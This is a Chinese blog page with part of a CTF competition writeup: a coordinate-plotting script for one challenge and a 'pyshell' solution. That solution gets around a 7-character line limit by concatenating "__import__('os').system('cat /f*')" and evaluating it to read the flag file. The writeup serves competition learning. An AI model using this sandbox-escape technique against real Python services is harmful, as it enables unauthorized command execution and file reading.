(23,6) (23,7) (23,9) (23,10) (23,16) (23,17) (23,19) (23,20) (23,22) (23,23) (23,24) (23,25) (24,3) (24,6) (24,7) (24,9) (24,10) (24,16) (24,19) (24,20) (24,24) (24,25) (25,3) (25,6) (25,7) (25,10) (25,11) (25,12) (25,15) (25,19) (25,20) (25,24) (25,25) (26,3) (26,6) (26,7) (26,12) (26,13) (26,16) (26,19) (26,20) (26,24) (26,25) (27,3) (27,6) (27,7) (27,9) (27,12) (27,13) (27,16) (27,19) (27,20) (27,24) (27,25) (28,3) (28,4) (28,6) (28,9) (28,10) (28,11) (28,12) (28,16) (28,17) (28,19) (28,20) (28,24) (28,25) (29,4) (29,5) (29,17) (29,18) (29,19) (31,10) (31,11) (31,12) (31,13) (31,25) (31,31) (32,4) (32,5) (32,6) (32,10) (32,11) (32,12) (32,13) (32,17) (32,18) (32,19) (32,23) (32,24) (32,25) (32,26) (32,32) (33,3) (33,4) (33,6) (33,7) (33,12) (33,16) (33,17) (33,23) (33,24) (33,26) (33,32) (34,6) (34,7) (34,11) (34,16) (34,17) (34,23) (34,24) (34,26) (34,32) (35,6) (35,11) (35,12) (35,17) (35,18) (35,19) (35,23) (35,24) (35,25) (35,26) (35,33) (36,5) (36,12) (36,13) (36,19) (36,20) (36,26) (36,32) (37,4) (37,5) (37,13) (37,16) (37,19) (37,20) (37,25) (37,26) (37,32) (38,4) (38,5) (38,6) (38,7) (38,9) (38,10) (38,11) (38,12) (38,13) (38,16) (38,17) (38,18) (38,19) (38,24) (38,25) (38,31) (38,32) (39,23) (39,24) (39,31)

然后简单画出来就行

import matplotlib.pyplot as plt

with open('data.txt', 'r') as f:
	data_list = f.read().split(' ')
	for data in data_list:
		data = eval(data)
		plt.scatter(data[0], data[1], color='r')
plt.show()

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci_36

flag{202305012359}

pyshell

利用_拼接命令执行cat /f*,注意每行限制长度7个字符

Welcome to this python shell,try to find the flag!
>>'__imp'
'__imp'
>>_+'ort'
'__import'
>>_+'__('
'__import__('
>>_+"'os"
"__import__('os"
>>_+"')."
"__import__('os')."
>>_+"sys"
"__import__('os').sys"
>>_+"tem"
"__import__('os').system"
>>_+"('c"
"__import__('os').system('c"
>>_+"at "
"__import__('os').system('cat "
>>_+"/f*"
"__import__('os').system('cat /f*"
>>_+"')"
"__import__('os').system('cat /f*')"
>>eval(_)
flag{043eb8a4-5f1a-482d-9f62-33a421ab4184}0
>>


标签:uint64,val,Writeup,AheadSec,初赛,let,pop,new,stack
From: https://blog.51cto.com/u_16159500/6517869

相关文章

  • 第四届“安洵杯”网络安全挑战赛MISC-Writeup
    文章目录应该算是签到CyzCC_loves_LOLCthulhuMythoslovemath题目附件请自取链接:https://pan.baidu.com/s/13TwadE6DenseIuRUNZlCKg提取码:rrpe应该算是签到B站搜索直接搜索这个BV号直接页面Ctrl+F没找出来搜索引擎找一下有没有通过API查弹幕的方法:https://www.bilibili.com......
  • 第一届赣网杯网络安全大赛 2020GW-CTF Misc_Writeup
    目录签到CheckinfaceDestroyJavaHidepig签到Checkinflag{welc0me_to_ganwangbei}faceLennyfuckinterpreterhttps://github.com/Knorax/Lennyfuck_interpreter跟着对照表替换即可++++++++++[->++++++++++<]>++.++++++.<+++[->---<]>--.++++++.<++++[->++++<......
  • BUUCTF NewStarCTF 公开赛赛道Week2 Writeup
    文章目录WEEK2WEBWord-For-You(2Gen)IncludeOneUnserializeOneezAPIMISCYesecnodrumsticks2Coldwinds'sDesktop奇怪的二维码qsdz'sgirlfriend2WEEK2WEBWord-For-You(2Gen)题目描述哇哇哇,我把查询界面改了,现在你们不能从数据库中拿到东西了吧哈哈(不过为了调试的代码似乎忘......
  • 2020祥云杯网络安全大赛 MISC Writeup
    文章目录签到进制反转到点了xixixi带音乐家CharlesSensor签到PSC:\Users\Administrator>php-r"var_dump(base64_decode('ZmxhZ3txcV9ncm91cF84MjY1NjYwNDB9'));"string(24)"flag{qq_group_826566040}"进制反转题目描述:电脑中到底使用的是什么进制呢?真是麻烦,有时候还是手机......
  • 2020全国大学生网安邀请赛暨第六届上海市大学生网安大赛Misc-Writeup
    文章目录签到pcappcapanalysis可乐加冰除了签到所有Misc题以上线到BMZCTF平台方便大家复现BMZCTF:http://bmzclub.cn/challenges签到{echo,ZmxhZ3t3MzFjMG1lNX0=}|{base64,-d}|{tr,5,6}Linux下直接运行即可flag{w31c0me6}pcapchallenge2.pcapng根据提示查看dnp3协议,以长度为排......
  • 2020 第四届强网杯 线上赛Misc_Writeup
    目录upload签到问卷调查miscstudyupload下载附件,打开是流量包文件,wireshark打开查看http的包,追踪一下很明显是POST上传的图片File->ExportObject->HTTP...将文件Saveall保存出来,得到如下:%5c有提示steghide隐藏steghide.php用notepad++打开去掉前面这四行,保存修改后缀为jpg或......
  • 2022DASCTF Apr X FATE 防疫挑战赛 Writeup
    文章目录[MISC]SimpleFlow[MISC]熟悉的猫[MISC]冰墩墩[MISC]SimpleFlow首先tcp.streameq50中分析传入的执行命令的变量是$s,也就是参数substr($_POST["g479cf6f058cf8"],2)找到对应的参数,然后去掉前面两位字符解码即可cd"/Users/chang/Sites/test";zip-PPaSsZiPWorDfl......
  • 2023 安洵杯SYCTF Web-writeup
    2023安洵杯SYCTFWeb-writeupWeb文末:附官方wp,失效可留言联系CarelessPy首页的源代码中存在注释,提供了两个功能点。<!--好像有/eval路由和/login路由是拿来干什么的呢?-→还有一张图片,访问图片发现请求路径:会请求/download?file=zayu2.jpg,这里能任意下载文件总共......
  • 安洵杯SYCCTF2023 writeup
    一、MISC1.sudoku_easy简单的数独交互,几个小注意点,每次发送level之后sleep5秒才会返回题目将形如---------------------800103720023840650410006008300001062000052407072060090160000375205019846000030000---------------------转换成二维数组进行解数独......
  • 2022 360强国杯决赛Web-writeup
    Webezxunrui分析1、下载附件开始审计迅睿路由规则不过多介绍了,需要选手自行分析代码逻辑,这里只公布漏洞点。控制器在如下位置。在API控制器中。存在qrcode操作用来生成二维码,会获取略缩图参数,如图。跟进一下发现存在curl的调用,存在SSRF漏洞。2、SSRFFastCGIRCE......